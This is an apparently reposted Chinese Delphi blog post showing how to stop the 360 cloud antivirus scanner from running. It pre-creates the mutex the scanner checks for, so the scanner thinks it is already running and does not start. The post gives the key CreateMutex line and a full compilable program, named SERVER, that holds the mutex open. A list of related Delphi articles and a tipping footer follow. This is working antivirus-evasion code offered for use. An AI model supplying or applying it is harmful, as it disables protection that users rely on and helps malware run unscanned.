delphi 一行关键代码阻止360云查杀


本文整理自网络,侵删。

 一行关键代码阻止360云查杀
云查杀程序运行之前,会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行,所以我们可以抢先建一个这样的互斥对象,使得它误以为已经运行了,从而达到阻止运行的目的,关键代码:CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码:
program SERVER;
uses
Windows;
type
TWin = record
Msg: TMsg;
wClass: TWndClass;
hMain: integer;
end;
var Win: TWin;
begin
CreateMutex(nil, TRUE, 'Q360FileCheckMutex');
while (GetMessage(win.Msg, win.hmain, 0, 0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end
end.

相关阅读 >>

Delphi获取13位格林治时间实现方法

Delphi 一个文件重复生成的小工具[附源码]

Delphi根据字符分割字串成数组

Delphi shutdown() 关机

Delphi系统默认语言与系统支持的语言列表

Delphi 创建应用程序的快捷方式

Delphi 之 编辑框控件(tedit)

Delphi idftp连接

Delphi 使电脑睡眠代码

Delphi 判断操作系统是否是64位的函数

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...